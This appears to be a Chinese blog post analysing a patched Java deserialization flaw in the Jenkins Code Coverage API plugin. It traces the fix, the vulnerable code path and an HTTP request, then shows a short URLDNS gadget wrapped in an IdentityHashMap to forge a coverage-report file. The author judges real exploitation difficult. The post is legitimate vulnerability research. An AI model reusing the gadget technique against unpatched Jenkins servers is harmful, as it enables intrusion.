Jenkins Code Coverage API 插件漏洞分析

0x01 漏洞描述信息

逆推漏洞三方面:漏洞类型,漏洞入口api,构造payload。

该插件 1.4.0 及更早版本不对它从磁盘反序列化的 Java 对象应用JEP-200 反序列化保护。

这会导致能够控制代理进程的攻击者利用远程代码执行 (RCE) 漏洞。

Code Coverage API Plugin 1.4.1 将其 Java 对象反序列化配置为仅反序列化安全类型。

关键信息:反序列化RCE、磁盘、控制代理进程可利用该漏洞。

0x02 补丁信息定位

补丁信息:https://github.com/jenkinsci/code-coverage-api-plugin/commit/a5b3c18cff2a0b494c55fa73b05fc935b50530be

src/main/java/io/jenkins/plugins/coverage/CompatibleObjectInputStream.java中添加了过滤,看类名InputStream是在反序列化过程中进行过滤了。

image-20210910090851273

过滤名单src/main/resources/META-INF/hudson.remoting.ClassFilter如下:

1
2
3
4
gnu.trove.impl.hash.THash
gnu.trove.impl.hash.TIntHash
gnu.trove.impl.hash.TPrimitiveHash
gnu.trove.map.hash.TIntObjectHashMap

另外加了测试代码,测试漏洞修复是否成功:

image-20210910111129924

0x03 Code Coverage API插件的使用:

在分析前先了解下怎么使用Code Coverage API插件。

参考官方给的使用说明:https://github.com/jenkinsci/code-coverage-api-plugin

创建项目时,新增构建后操作,选择发布代码覆盖率报告,配置覆盖率报告文件所在路径,最后保存。

image-20210910172103924

保存好后,保证项目已经在**/target/site/cobertura/coverage.xml相关目录下生成了xml文件,可以开始构建,maven生成可参考https://blog.csdn.net/zlt995768025/article/details/79360203。

构建完成后可生成代码覆盖率报告。

image-20210910172456897

0x04 分析过程

首先下载修复后的版本1.4.1,并在本地用idea加载进行分析。

1、推测漏洞API

在测试程序中调用了CoverageProcessor.recoverCoverageResult

1
2
final FreeStyleProject fs = (FreeStyleProject) j.jenkins.getItemByFullName("fs");
CoverageProcessor.recoverCoverageResult(fs.getBuild("1"));

定位到CoverageProcessor.recoverCoverageResult,主要作用是从coverage-report文件反序列化CoverageResult对象。而coverage-report文件是由CoverageProcessor.saveCoverageResult序列化对象建立的。那么构造payload一定就会调用saveCoverageResult

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/**
* Recover {@link CoverageResult} from build directory.
*
* @param run build
* @return Coverage result
*/
public static CoverageResult recoverCoverageResult(Run<?, ?> run) throws IOException, ClassNotFoundException {
// 新建一个名为coverage-report的文件
File reportFile = new File(run.getRootDir(), DEFAULT_REPORT_SAVE_NAME);
// 从文件coverage-report新建一个输入流,并调用readObject返回一个CoverageResult对象
try (ObjectInputStream ois = new CompatibleObjectInputStream(new FileInputStream(reportFile))) {
return (CoverageResult) ois.readObject();
}
}

public static void saveCoverageResult(Run<?, ?> run, CoverageResult report) throws IOException {
File reportFile = new File(run.getRootDir(), DEFAULT_REPORT_SAVE_NAME);

try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(reportFile))) {
oos.writeObject(report);
}
}

现在的问题是从哪里创建的coverage-report,我们控制什么数据可以生成想要的coverage-report?

saveCoverageResult仅被CoverageProcessor.convertResultToAction调用

image-20210913130515549

convertResultToAction方法的作用是将报告CoverageResult转为action,并调用saveCoverageResult将CoverageResult实例保存到coverage-report文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
//将convertResult转为Action
private CoverageAction convertResultToAction(CoverageResult coverageReport) throws IOException {
synchronized (CoverageProcessor.class) {
CoverageAction previousAction = run.getAction(CoverageAction.class);
if (previousAction == null) {
saveCoverageResult(run, coverageReport);

CoverageAction action = new CoverageAction(coverageReport);
run.addAction(action);

return action;
} else {
CoverageResult previousResult = previousAction.getResult();
Collection<CoverageResult> previousReports = previousResult.getChildrenReal().values();

for (CoverageResult report : coverageReport.getChildrenReal().values()) {
if (StringUtils.isEmpty(report.getTag())) {
report.resetParent(previousResult);
continue;
}

Optional<CoverageResult> matchedTagReport;
if ((matchedTagReport = previousReports.stream()
.filter(r -> !StringUtils.isEmpty(r.getTag()) && r.getTag().equals(report.getTag()))
.findAny()).isPresent()) {
try {
matchedTagReport.get().merge(report);
} catch (CoverageException e) {
e.printStackTrace();
report.resetParent(previousResult);
}
} else {
report.resetParent(previousResult);
}
}

previousResult.setOwner(run);
saveCoverageResult(run, previousResult);
return previousAction;
}
}
}

而convertResultToAction会被CoverageProcessor.performCoverageReport调用。该方法会处理CoverageReportAdapter,将所有报告保存并聚合成一份报告,然后调用convertResultToAction将聚合的报告coverageReport转为action。CoverageReportAdapter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
/**
* Convert all reports that are specified by {@link CoverageReportAdapter}s and detected by {@link ReportDetector}s to {@link CoverageResult},
* and generate health report from CoverageResult. Add them to {@link CoverageAction} and add Action to {@link Run}.
*
* @param reportAdapters reportAdapters specified by user
* @param reportDetectors reportDetectors specified by user
* @param globalThresholds global threshold specified by user
*/
// 转换所有CoverageReportAdapter指定的报告或者被ReportDetector检测到的报告,生成CoverageResult
public void performCoverageReport(List<CoverageReportAdapter> reportAdapters, List<ReportDetector> reportDetectors, List<Threshold> globalThresholds)
throws IOException, InterruptedException, CoverageException {
// 调用convertToResults,调用convertToResults将用户指定路径下的所有覆盖率文件保存到对应的build文件夹,并将报告转成CoverageResult,结果到Map
Map<CoverageReportAdapter, List<CoverageResult>> results = convertToResults(reportAdapters, reportDetectors);
//聚合报告
CoverageResult coverageReport = aggregateReports(results);
if (coverageReport == null) {
return;
}

coverageReport.setOwner(run);

if (sourceFileResolver != null) {
Set<String> possiblePaths = new HashSet<>();
coverageReport.getChildrenReal().forEach((s, coverageResult) -> {
Set<String> paths = coverageResult.getAdditionalProperty(CoverageFeatureConstants.FEATURE_SOURCE_FILE_PATH);
if (paths != null) {
possiblePaths.addAll(paths);
}
});

if (possiblePaths.size() > 0) {
sourceFileResolver.setPossiblePaths(possiblePaths);
}

sourceFileResolver.resolveSourceFiles(run, workspace, listener, coverageReport.getPaintedSources());
}

if (calculateDiffForChangeRequests) {
setDiffInCoverageForChangeRequest(coverageReport);
}
// 调用convertResultToAction将聚合的报告coverageReport转为action
CoverageAction action = convertResultToAction(coverageReport);

HealthReport healthReport = processThresholds(results, globalThresholds, action);
action.setHealthReport(healthReport);
if (calculateDiffForChangeRequests && failBuildIfCoverageDecreasedInChangeRequest) {
failBuildIfChangeRequestDecreasedCoverage(coverageReport);
}
}

io.jenkins.plugins.coverage.CoveragePublisher.performCoverageReport()方法中调用了CoverageProcessor.performCoverageReport()。推测CoveragePublisher就是上面0x03中构建后操作添加的步骤-发布代码覆盖率报告的接口了。

image-20210913140332183

到Web端观察了下上面的HTTP请求,其中"stapler-class\":+\"io.jenkins.plugins.coverage.CoveragePublisher\",+\"$class\":+\"io.jenkins.plugins.coverage.CoveragePublisher\"}提到了接口CoveragePublisher,验证了刚刚的推测。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /me/my-views/view/all/job/github/configSubmit HTTP/1.1
Host: 192.168.116.1:8899
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.116.1:8899/me/my-views/view/all/job/github/configure
Content-Type: application/x-www-form-urlencoded
Content-Length: 6553
Origin: http://192.168.116.1:8899
Connection: keep-alive
Upgrade-Insecure-Requests: 1

{
"description": "github+test",
"stapler-class-bag": "true",
"_.daysToKeepStr": "",
......(省略部分)
"_.path": "**/target/site/cobertura/coverage.xml",
"_.level": "NEVER_STORE",
"core:apply": "",
"Jenkins-Crumb": "b52cd1411c8949575e838c2d90dad5a202562b8789f61f00ca7eadb82b07916c",
"json": "{\"description\":+\"github+test\",+\"properties\":+{\"stapler-class-bag\":+\"true\",+\"jenkins-model-BuildDiscarderProperty\":+{\"specified\":+false,+\"\":+\"0\",+\"strategy\":+{\"daysToKeepStr\":+\"\",+\"numToKeepStr\":+\"\",+\"artifactDaysToKeepStr\":+\"\",+\"artifactNumToKeepStr\":+\"\",+\"stapler-class\":+\"hudson.tasks.LogRotator\",+\"$class\":+\"hudson.tasks.LogRotator\"}},+\"com-coravy-hudson-plugins-github-GithubProjectProperty\":+{\"githubProject\":+{\"projectUrlStr\":+\"https://github.com/XXXXXX.git/\",+\"displayName\":+\"\"}},+\"org-jenkins-plugins-lockableresources-RequiredResourcesProperty\":+{},+\"hudson-model-ParametersDefinitionProperty\":+{\"specified\":+false},+\"jenkins-branch-RateLimitBranchProperty$JobPropertyImpl\":+{}},+\"disable\":+false,+\"concurrentBuild\":+false,+\"hasCustomQuietPeriod\":+false,+\"quiet_period\":+\"5\",+\"hasCustomScmCheckoutRetryCount\":+false,+\"scmCheckoutRetryCount\":+\"0\",+\"blockBuildWhenUpstreamBuilding\":+false,+\"blockBuildWhenDownstreamBuilding\":+false,+\"hasCustomWorkspace\":+false,+\"customWorkspace\":+\"\",+\"displayNameOrNull\":+\"\",+\"scm\":+{\"value\":+\"0\",+\"stapler-class\":+\"hudson.scm.NullSCM\",+\"$class\":+\"hudson.scm.NullSCM\"},+\"publisher\":+{\"adapters\":+{\"path\":+\"**/target/site/cobertura/coverage.xml\",+\"mergeToOneReport\":+false,+\"stapler-class\":+\"hudson.plugins.cobertura.adapter.CoberturaReportAdapter\",+\"$class\":+\"hudson.plugins.cobertura.adapter.CoberturaReportAdapter\"},+\"applyThresholdRecursively\":+false,+\"failUnhealthy\":+false,+\"failUnstable\":+false,+\"failNoReports\":+false,+\"calculateDiffForChangeRequests\":+false,+\"failBuildIfCoverageDecreasedInChangeRequest\":+false,+\"skipPublishingChecks\":+false,+\"sourceFileResolver\":+{\"level\":+\"NEVER_STORE\"},+\"stapler-class\":+\"io.jenkins.plugins.coverage.CoveragePublisher\",+\"$class\":+\"io.jenkins.plugins.coverage.CoveragePublisher\"},+\"core:apply\":+\"\",+\"Jenkins-Crumb\":+\"b52cd1411c8949575e838c2d90dad5a202562b8789f61f00ca7eadb82b07916c\"}",
"Submit": "保存"
}

所以请求API.../view/all/job/jobname/configSubmit/可以创建序列化文件coverage-report;而调用CoverageProcessor.recoverCoverageResult读取coverage-report进行反序列化,对应api定位到CoverageAction.getResult(),Web端测试后api是/$stapler/bound/xxxxxxxxxxxxx/getResults

2、构造coverage-report文件

根据Security2376Test测试代码注释,尝试使用java.util.IdentityHashMap构造POC,查看IdentityHashMap.readObject发现会对键值对调用readObject来进行对象的恢复。

1
2
3
4
5
6
7
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putForCreate(key, value);
}

那么考虑可以借用ysoserial链,然后put到IdentityHashMap,就可以链起来。这里我用了URLDNS gadget,因为他比较简单并且依赖的包都是jdk自带的包。

1
2
3
IdentityHashMap<Object, Object> map = new IdentityHashMap<>();
HashMap hashMap = getObject("http://xxx.com");
map.put(1,hashMap);

序列化后并命名为coverage-report,覆盖某一个build下的原coverage-report并在页面刷新该build,dnslog上成功记录。

正常到这里,现在的问题应该是如何通过覆盖率的xml文件构造coverage-report,但是根据漏洞描述,疑似之间从磁盘文件反序列化,并且分析了下代码,感觉覆盖率xml文件转换成对象不太可以实现为我们想要的对象,因此可能该漏洞本身就是直接从磁盘反序列化 页面端无法构造。

那么利用难度就大大提高了,需要条件:

1、安装了存在漏洞的插件;

2、能够上传文件到系统的项目build文件夹下;

3、具有创建item权限。

0x05 总结

就当是一次逆推漏洞的练手项目,最后漏洞实际利用难度大,意义不大。

0x06 参考链接:

https://github.com/jenkinsci/code-coverage-api-plugin
https://blog.csdn.net/zlt995768025/article/details/79360203
https://repo.jenkins-ci.org/ui/native/releases/io/jenkins/plugins/code-coverage-api/1.4.1